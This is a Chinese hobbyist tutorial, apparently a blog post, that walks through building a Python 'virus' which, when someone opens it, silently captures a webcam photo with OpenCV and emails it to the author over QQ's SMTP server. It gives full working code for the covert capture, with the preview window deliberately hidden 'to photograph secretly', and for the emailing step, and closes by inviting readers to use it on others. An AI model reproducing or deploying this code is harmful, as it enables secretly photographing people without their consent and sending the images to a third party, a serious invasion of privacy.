目录
哈喽!
还记得我小时候有一个想法,以后我要做一个病毒,别人一打开程序,就偷偷地拍下他一张图片来,自动发到我的邮箱里,这也算我当时的一个小愿望
这个想法在当时是基本不可能实现的,但现在就要实现一下喽
拍照片
首先,拍照片需要opencv库
这个库卡住了我好几天,就是死活安不上
opencv的安装
方式一
终端运行输入
pip install opencv-python
这种方法有可能不行,看运气吧
方式二
去GitHub上手动下载,网址:链接
下载下来是一个名叫 "opencv-python-master" 的文件,你把它保存到你下载python环境的路径里
比如你的路径是C:/home/xxxx/...../python3.6/lib/site-package这个文件夹里
你进入编译器(以pycharm为例),输入 " import cv2 "查看有无报错
如果有报错,去看方式三
如果无报错,恭喜你,安装成功啦!
方式三
如果还没有安上,打开你的PyCharm
File--->Setting
然后出来这个页面,点这里
以上是安装opencv
其他必要模块的安装
pip install exifread
以上内容cmd运行
还有一些模块,你们的可能是内置的,如果一会代码有报错,就按照这个模板安装
pip/pip3 + install + 模块名
拍照片
既然我们有了opencv,那拍照片还不是绰绰有余?
def getphoto():
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cv2.imwrite('1.jpg', frame)
#cv2.imshow("capture", frame)
cap.release()
cv2.destroyAllWindows()
代码解释
这段程序是cv2调用摄像头的代码,我下面会写详细介绍
注意我注释掉那行如果去掉注释运行程序会有一个灰框框闪一下
这是显示的摄像头拍到的内容
而我前面也说过是偷偷拍照,所以这行代码注释掉,可以去掉注释自己看看效果
VideoCapture
cv2.VideoCapture()用于读取视频,也可以用于读取摄像头图像。
videocapture()的参数是设备的索引号,或者是一个视频文件。如果设备索引号是本身的笔记本的内置摄像头,则其参数为0.可以设置1或者其他的来选择别的摄像头。
这里设一个变量cap=cv2.VidevCapture(0)就是把图片保存到变量cap里
read
ret,frame = cap.read()
这行的意思是
按帧读取视频,返回值ret是布尔型,正确读取则返回True,读取失败或读取视频结尾则会返回False。frame为每一帧的图像,这里图像是三维矩阵,即frame.shape = (640,480,3),读取的图像为BGR格式。
imwrite
使用函数cv2.imwrite(file,img,num)保存一个图像。第一个参数是要保存的文件名,第二个参数是要保存的图像。可选的第三个参数,它针对特定的格式:对于JPEG,其表示的是图像的质量,用0 - 100的整数表示,默认95;对于png ,第三个参数表示的是压缩级别。默认为3.
release
这个函数就是释放资源
因为你还没有释放相机设备资源,那么它将引发比如Device or resource busy之类的报错,从而引发OpenCV异常
最后,关闭相机,完事!!
发邮件
这个有麻烦,不过,不经历风雨,怎能见得彩虹?
首先,登录你的QQ,点这个打开邮箱
点设置
选账户
找到这个
如果你的这个是关闭状态,把它开启一下,你会获得一个密码
记住这个密码
快乐的codeing!!!
先看一下运行效果
一运行,就看见摄像头上闪了一下,接着就收到了邮件
可以看到有个人(原图片我是代码调过亮度的,很清楚,这里我打了码)
代码
import smtplib
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import random
import os
import numpy as np
import cv2
import exifread
def getphoto():
cap = cv2.VideoCapture(0)
ret, frame = cap.read()
cv2.imwrite('1.jpg', frame)
cv2.imshow("capture", frame)
cap.release()
cv2.destroyAllWindows()
def send_email(msg_from, passwd, msg_to, text_content, file_path):
msg = MIMEMultipart()
subject = "有人打开程序!" # 主题
text = MIMEText(text_content)
msg.attach(text)
file_path = r'1.jpg'
if file_path:
docFile = file_path
docApart = MIMEApplication(open(docFile, 'rb').read())
docApart.add_header('Content-Disposition', 'attachment', filename=docFile)
msg.attach(docApart)
msg['Subject'] = subject
msg['From'] = msg_from
msg['To'] = msg_to
try:
s = smtplib.SMTP_SSL("smtp.qq.com", 465)
s.login(msg_from, passwd)
s.sendmail(msg_from, msg_to, msg.as_string())
except smtplib.SMTPException as e:
print("Error")
finally:
s.quit()
def read_path(file_pathname,shu):
for filename in os.listdir(file_pathname):
print(filename)
img = cv2.imread(file_pathname+'/'+filename)
image = np.power(img, shu) # 对像素值指数变换
cv2.imwrite(filename, image)
if __name__ == '__main__':
getphoto()
img = cv2.imread('1.jpg')
# 把图片转换为单通道的灰度图
gray_img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
# 获取形状以及长宽
img_shape = gray_img.shape
height, width = img_shape[0], img_shape[1]
size = gray_img.size
# 灰度图的直方图
hist = cv2.calcHist([gray_img], [0], None, [256], [0, 256])
# 计算灰度图像素点偏离均值(128)程序
a = 0
ma = 0
# np.full 构造一个数组,用指定值填充其元素
reduce_matrix = np.full((height, width), 128)
shift_value = gray_img - reduce_matrix
shift_sum = np.sum(shift_value)
da = shift_sum / size
# 计算偏离128的平均偏差
for i in range(256):
ma += (abs(i - 128 - da) * hist[i])
m = abs(ma / size)
# 亮度系数
k = abs(da) / m
#print(k)
if k[0] > 1:
# 过亮
if da > 0:
read_path("1.jpg",0.8)
else:
read_path("1.jpg",1.2)
fr = open("1.jpg","rb")
imageinfo=exifread.process_file(fr)
msg_from = 'xxxxxxxxxx@xx.com' # 发送方邮箱(写你的邮箱)
passwd = 'xxxxxxxx'#这个地方写你刚才获得的密码
msg_to = 'xxxxxxxxxx@xx.com'#接受方邮箱(写你的邮箱)
text_content = "有人打开了程序!"
file_path = '1.jpg' # 需要发送的附件目录
send_email(msg_from, passwd, msg_to, text_content, file_path)
好啦,可以拿去整人啦
最后
哈哈哈哈哈哈!
可以整人啦!!
希望上热榜,一百名也不要紧,玩的就是成就感,哈哈哈哈哈
再见!